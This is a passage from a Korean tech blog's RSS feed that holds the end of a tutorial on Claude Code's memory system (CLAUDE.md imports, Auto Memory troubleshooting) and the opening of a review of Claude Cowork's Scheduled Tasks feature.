&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 홈 디렉토리에 공유 규칙 저장
~/.claude/shared-project-rules.md

# 각 worktree의 CLAUDE.md에서 import
project/CLAUDE.md
@~/.claude/shared-project-rules.md&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Q4 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q4. CLAUDE.md import가 작동하지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인:&lt;/b&gt; Import 경로와 파일 존재 여부를 확인한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;상대 경로는 import를 포함하는 파일 기준&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;절대 경로는 시스템 root 기준&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;홈 디렉토리는 &lt;code&gt;@~/.claude/file.md&lt;/code&gt; 문법 사용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;코드 블록 내 @ 문법은 import 안 됨 (보안)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫 외부 import 발견 시:&lt;/b&gt; 승인 다이얼로그가 표시된다. 여기서 &quot;외부(external)&quot;란 상대 경로가 아닌 외부 파일(절대 경로, 홈 디렉토리 경로 등)을 의미한다. 프로젝트당 1회만 표시되며, &lt;b&gt;거절하면 해당 프로젝트에서 외부 import가 비활성화된 채로 유지되고 다시 표시되지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q5 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q5. Auto Memory가 저장을 안 하거나 잘못된 내용이 저장됐습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인:&lt;/b&gt; &lt;code&gt;autoMemoryEnabled: false&lt;/code&gt; 설정, 또는 &lt;code&gt;CLAUDE_CODE_DISABLE_AUTO_MEMORY=1&lt;/code&gt; 환경변수가 설정된 경우다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/memory&lt;/code&gt; 명령어로 auto-memory 토글 상태 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;echo $CLAUDE_CODE_DISABLE_AUTO_MEMORY&lt;/code&gt;로 환경변수 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;cat .claude/settings.json&lt;/code&gt;으로 settings.json 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;잘못된 내용이 저장된 경우:&lt;/b&gt; &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/MEMORY.md&lt;/code&gt; 파일을 직접 편집하거나 &lt;code&gt;/memory&lt;/code&gt; 명령어의 에디터 기능을 사용해 수정하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q6 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q6. CLAUDE.md를 만들었는데 Claude가 적용하지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 1:&lt;/b&gt; 파일 위치 오류. CLAUDE.md는 현재 작업 디렉토리(cwd) 기준 상위 경로에 있어야 세션 시작 시 자동 로드된다. 하위 디렉토리에 있는 경우는 해당 디렉토리 파일을 읽을 때 온디맨드로 로드된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 2:&lt;/b&gt; import 문법 오류. &lt;code&gt;@&lt;/code&gt;를 코드 블록 안에 사용하면 import로 처리되지 않는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;확인 방법:&lt;/b&gt; &lt;code&gt;/memory&lt;/code&gt; 명령어를 실행하면 현재 세션에 로드된 파일 목록을 확인할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q7 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q7. CLAUDE.local.md와 CLAUDE.md 언제 각각 써야 하나요?&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLAUDE.md (팀 공유):&lt;/b&gt; 아키텍처 설명, 코딩 표준, 공통 워크플로우 등 팀 전체가 알아야 할 정보. Git으로 버전 관리하고 PR 리뷰를 통해 변경한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLAUDE.local.md (개인 전용):&lt;/b&gt; 내 로컬 샌드박스 URL, 선호 테스트 데이터, 개인 디버깅 방식 등 팀과 공유하지 않아도 되는 개인 설정. Claude Code가 자동으로 .gitignore에 추가해준다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Q8 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q8. Auto Memory가 활성화 상태인데도 MEMORY.md가 생성되지 않습니다&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 1 &amp;mdash; 서드파티 메모리 플러그인 충돌:&lt;/b&gt; &lt;code&gt;claude-mem&lt;/code&gt; 같은 외부 메모리 플러그인이 설치된 경우, 해당 플러그인이 자체 DB로 메모리를 관리하면서 Claude Code 네이티브 MEMORY.md 생성이 억제될 수 있다. 이 경우 &lt;code&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/code&gt; 디렉토리는 생성되지만 비어 있는 상태가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인 2 &amp;mdash; 저장 재량 미충족:&lt;/b&gt; Auto Memory는 Claude가 세션 중 &quot;저장할 가치가 있다&quot;고 판단할 때만 기록한다. 일반 대화나 단순 작업만 진행된 세션에서는 MEMORY.md에 기록되지 않을 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결:&lt;/b&gt; 명시적으로 &lt;code&gt;&quot;Remember that we always use 2-space indentation&quot;&lt;/code&gt;처럼 저장을 요청하거나, 플러그인 설치 환경에서는 해당 플러그인의 메모리 관리 방식을 확인한다. 플러그인 없는 환경에서는 Claude Code 네이티브 MEMORY.md가 정상 작동한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;메모리 관련 추가 팁&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;/memory 명령어:&lt;/b&gt; 메모리 상태 확인 및 관리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;/init 명령어:&lt;/b&gt; 새 프로젝트에서 CLAUDE.md 부트스트랩&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Symlink 지원:&lt;/b&gt; rules 디렉토리에 symlink를 사용 가능 (순환 감지)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;재귀 제한:&lt;/b&gt; Import는 최대 5 hops까지만 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 메모리 시스템은 AI 어시스턴트가 프로젝트를 &quot;이해&quot;하게 한다. Auto Memory로 자동 학습하고, CLAUDE.md로 명시적 지침을 제공하며, 모듈형 규칙으로 대규모 프로젝트를 체계적으로 관리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;메모리 시스템의 장점&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;일관성:&lt;/b&gt; Claude가 매번 같은 스타일과 규칙 준수&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;효율성:&lt;/b&gt; 매번 지침을 반복 설명할 필요 없음&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;확장성:&lt;/b&gt; 팀 규모가 커져도 일관된 기준 유지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;유연성:&lt;/b&gt; Auto Memory로 자동 학습, CLAUDE.md로 명시적 제어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;엔터프라이즈:&lt;/b&gt; 조직 정책부터 개인 선호도까지 계층적 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;지금 시작하기&lt;/b&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;프로젝트 루트에서 &lt;code&gt;/init&lt;/code&gt; 실행 &amp;rarr; CLAUDE.md 자동 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;팀의 기본 코딩 규칙과 아키텍처 정보를 CLAUDE.md에 작성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;.claude/rules/ 디렉토리에 언어별/주제별 모듈형 규칙 추가&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Auto Memory가 기본 활성화 상태인지 &lt;code&gt;/memory&lt;/code&gt;로 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;정기적으로 메모리 파일 검토 및 업데이트&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 메모리 시스템을 제대로 활용하면, 더 스마트하고 일관된 코드 어시스턴스를 경험할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트의 특성과 팀의 규칙이 Claude에게 자동으로 &quot;기억&quot;되기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘부터 메모리 시스템으로 개발 워크플로우를 한 단계 업그레이드해 보자.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>auto memory</category>
      <category>claude code memory</category>
      <category>Claude Code Memory System</category>
      <category>Claude Code 메모리</category>
      <category>claude code 메모리 시스템</category>
      <category>Claude Code 설정</category>
      <category>Claude Code 튜토리얼</category>
      <category>클로드 코드 memory</category>
      <category>클로드 코드 메모리</category>
      <category>클로드 코드 메모리 시스템</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/530</guid>
      <comments>https://goddaehee.tistory.com/530#entry530comment</comments>
      <pubDate>Fri, 27 Feb 2026 18:00:49 +0900</pubDate>
    </item>
    <item>
      <title>Claude Cowork - Claude Scheduled Tasks 리뷰 : 예약 작업으로 반복 업무 자동화하는(cron job 대신 Claude 써도 될까?)</title>
      <link>https://goddaehee.tistory.com/529</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5fnnS/dJMcacPJqyX/7vkFwgE43XS3Qn8TYaHOtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5fnnS/dJMcacPJqyX/7vkFwgE43XS3Qn8TYaHOtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5fnnS/dJMcacPJqyX/7vkFwgE43XS3Qn8TYaHOtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5fnnS%2FdJMcacPJqyX%2F7vkFwgE43XS3Qn8TYaHOtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1952&quot; height=&quot;1120&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 Claude AI의 &lt;b&gt;Claude Cowork Scheduled Tasks&lt;/b&gt; 기능에 대해 알아보려고 한다.&lt;/p&gt;
    &lt;!-- X(트위터) 공식 영상 --&gt;
    &lt;div style=&quot;display: flex; justify-content: center; margin: 20px 0;&quot;&gt;
        &lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2026720870631354429&quot;
            style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot;
            allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
    &lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork Scheduled Tasks 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기능 개요&lt;/li&gt;
&lt;li&gt;발표 배경&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;기술적 개요
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;아키텍처&lt;/li&gt;
&lt;li&gt;작동 원리&lt;/li&gt;
&lt;li&gt;지원 작업 유형&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Cowork 화면 구성
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cowork 탭 진입 방법&lt;/li&gt;
&lt;li&gt;왼쪽 사이드바 메뉴 (새 작업 / 검색 / 예정됨 / 사용자 지정)&lt;/li&gt;
&lt;li&gt;예약 작업 만드는 2가지 방법 (/schedule 명령어)&lt;/li&gt;
&lt;li&gt;중요 제약사항&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설정 및 요구사항
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;필수 조건&lt;/li&gt;
&lt;li&gt;구독 플랜 비교&lt;/li&gt;
&lt;li&gt;스케줄 설정 방법&lt;/li&gt;
&lt;li&gt;시간대 설정&lt;/li&gt;
&lt;li&gt;5분 빠른 시작&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실제 사용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;매일 아침 리포트 생성&lt;/li&gt;
&lt;li&gt;정기적 데이터 정리&lt;/li&gt;
&lt;li&gt;주간 요약 작성&lt;/li&gt;
&lt;li&gt;이메일 정리&lt;/li&gt;
&lt;li&gt;플러그인과의 통합 (Design 플러그인 실습)&lt;/li&gt;
&lt;li&gt;AI 블로거를 위한 자동화 아이디어 10선&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;고급 설정
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복합 스케줄&lt;/li&gt;
&lt;li&gt;조건부 실행&lt;/li&gt;
&lt;li&gt;알림 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 및 제한사항
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 보안&lt;/li&gt;
&lt;li&gt;실행 제한&lt;/li&gt;
&lt;li&gt;현재 제약 조건&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;대안과의 비교
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전통형 cron job&lt;/li&gt;
&lt;li&gt;다른 AI 자동화 도구&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모범 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;효과적인 스케줄링&lt;/li&gt;
&lt;li&gt;주의사항&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;스케줄이 실행되지 않을 때&lt;/li&gt;
&lt;li&gt;시간대 문제&lt;/li&gt;
&lt;li&gt;구독 관련 질문&lt;/li&gt;
&lt;li&gt;작업 취소 및 수정&lt;/li&gt;
&lt;li&gt;동시 작업 수 제한&lt;/li&gt;
&lt;li&gt;오류 대응 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Cowork 예약 작업(Scheduled Tasks) 가이드&lt;/b&gt;&lt;br /&gt;예약 작업은 Claude가 정해진 시간에 반복적인 작업을 자동으로 완료하는 스케줄링 기능이다. &lt;br /&gt;단순히 알림을 보내는 수준이 아니라 실제로 파일을 수정하거나 문서를 작성할 수 있어, 매일 아침 리포트 생성, 정기적 데이터 정리, 주간 요약 작성 등 반복 작업을 완전히 자동화할 수 있다.&amp;nbsp;&lt;/div&gt;
&lt;!-- 섹션 1: Cowork Scheduled Tasks 소개 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Cowork Scheduled Tasks 소개&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예약 작업(Scheduled Tasks)&lt;/b&gt;는 2026년 2월 25일 Claude AI가 발표한 새로운 기능이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 기능을 사용하면 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude가 정해진 시간에 반복적인 작업을 자동으로 완료&lt;/b&gt;&lt;/span&gt;할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기능 개요&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks의 핵심 기능:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자동 실행:&lt;/b&gt; 설정한 시간에 Claude가 작업 자동 시작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;반복 스케줄:&lt;/b&gt; 매일, 매주, 매월 등 주기 설정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;맞춤 작업:&lt;/b&gt; 리포트 생성, 데이터 정리, 이메일 정리 등 다양한 작업 지정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;알림:&lt;/b&gt; 작업 완료 시 알림 받기&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 Scheduled Tasks인가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 단순한 반복 실행을 넘어 &lt;b&gt;AI 기반 자동화&lt;/b&gt;를 제공한다. &lt;br /&gt;기존 cron job이나 자동화 도구와 달리 Claude는 자연어 이해와 맥락 파악 능력을 활용하여 더 유연하고 지능적인 작업 수행이 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;발표 배경&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude AI는 Scheduled Tasks 기능을 통해 사용자의 반복적인 업무 부담을 줄이고, 더 중요한 작업에 집중할 수 있도록 돕는 것을 목적으로 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 Anthropic이 2026년 초부터 본격 확장한 &lt;b&gt;Cowork 생태계&lt;/b&gt;의 일환으로 출시됐다. Cowork는 단순 AI 채팅을 넘어, 플러그인&amp;middot;커넥터&amp;middot;예약 실행을 하나로 묶은 &lt;b&gt;업무 자동화 플랫폼&lt;/b&gt;으로 진화하고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 18px 20px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;h4 style=&quot;font-size: 16px; color: #0066cc; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size18&quot;&gt;Cowork 확장 타임라인&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc; width: 30%;&quot;&gt;2026년 1월 30일&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;Cowork 플러그인 1차 출시 &amp;mdash; Productivity&amp;middot;Sales&amp;middot;Data Analysis 등 11개 플러그인 공개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;2026년 2월 초&lt;/td&gt;
&lt;td style=&quot;padding: 10px;&quot;&gt;플러그인 생태계 충격 &amp;mdash; Thomson Reuters(-18%), LegalZoom(-20%) 등 소프트웨어 주가 급락&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #ddeeff;&quot;&gt;
&lt;td style=&quot;padding: 10px; font-weight: 600; color: #0066cc;&quot;&gt;2026년 2월 24일&lt;/td&gt;
